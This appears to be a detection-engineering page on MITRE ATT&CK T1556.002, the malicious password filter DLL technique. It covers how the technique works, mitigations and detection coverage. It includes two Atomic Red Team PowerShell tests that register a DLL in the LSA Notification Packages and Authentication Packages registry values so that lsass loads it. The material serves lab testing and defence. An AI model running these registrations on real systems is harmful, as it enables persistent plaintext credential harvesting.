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ATT&CK Technique

Password Filter DLL

T1556.002 · defense-impairment, persistence, credential-access

Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies.

Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.

Windows
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Atomic Tests

2
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellelevatedwindowsInstall and Register Password Filter DLL
Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges. The binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection Source is in src folder. This does require a reboot to see the filter loaded into lsass.exe. It does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup. 
reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "PathToAtomicsFolder\T1556.002\lsa_backup.reg"
$passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename
$lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
$notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
$notificationPackagesValues += $passwordFilterName
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues
powershellelevatedwindowsInstall Additional Authentication Packages
lsass.exe loads all DLLs specified by the Authentication Packages REG_MULTI_SZ value. Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges. The binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection Source is in src folder. This does require a reboot to see the filter loaded into lsass.exe. It does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup. 
reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "PathToAtomicsFolder\T1556.002\lsa_backup.reg"
$passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename
$lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
$AuthenticationPackagesValues = $lsaKey.GetValue("Authentication Packages")
$AuthenticationPackagesValues += $passwordFilterName
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Authentication Packages" $AuthenticationPackagesValues
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Mitigations

1
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1028Operating System Configuration

Operating System Configuration involves adjusting system settings and hardening the default configurations of an operating system (OS) to mitigate adversary exploitation and prevent abuse of system functionality. Proper OS configurations address security vulnerabilities, limit attack surfaces, and ensure robust defense against a wide range of techniques.

Disable Unused Features
  • Turn off SMBv1, LLMNR, and NetBIOS where not needed.
  • Disable remote registry and unnecessary services.
Enforce OS-level Protections
  • Enable Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR), and Control Flow Guard (CFG) on Windows.
  • Use AppArmor or SELinux on Linux for mandatory access controls.
Secure Access Settings
  • Enable User Account Control (UAC) for Windows.
  • Restrict root/sudo access on Linux/macOS and enforce strong permissions using sudoers files.
File System Hardening
  • Implement least-privilege access for critical files and system directories.
  • Audit permissions regularly using tools like icacls (Windows) or getfacl/chmod (Linux/macOS).
Secure Remote Access
  • Restrict RDP, SSH, and VNC to authorized IPs using firewall rules.
  • Enable NLA for RDP and enforce strong password/lockout policies.
Harden Boot Configurations
  • Enable Secure Boot and enforce UEFI/BIOS password protection.
  • Use BitLocker or LUKS to encrypt boot drives.
Regular Audits
  • Periodically audit OS configurations using tools like CIS Benchmarks or SCAP tools.
Tools for Implementation Windows
  • Microsoft Group Policy Objects (GPO): Centrally enforce OS security settings.
  • Windows Defender Exploit Guard: Built-in OS protection against exploits.
  • CIS-CAT Pro: Audit Windows security configurations based on CIS Benchmarks.
Linux/macOS
  • AppArmor/SELinux: Enforce mandatory access controls.
  • Lynis: Perform comprehensive security audits.
  • SCAP Security Guide: Automate configuration hardening using Security Content Automation Protocol.
Cross-Platform
  • Ansible or Chef/Puppet: Automate configuration hardening at scale.
  • OpenSCAP: Perform compliance and configuration checks.
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Detection Coverage

1/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 3
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
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Comply & Defend

NIST 800-53CM-06, CM-07, SI-04
D3FEND12 defensive techniques
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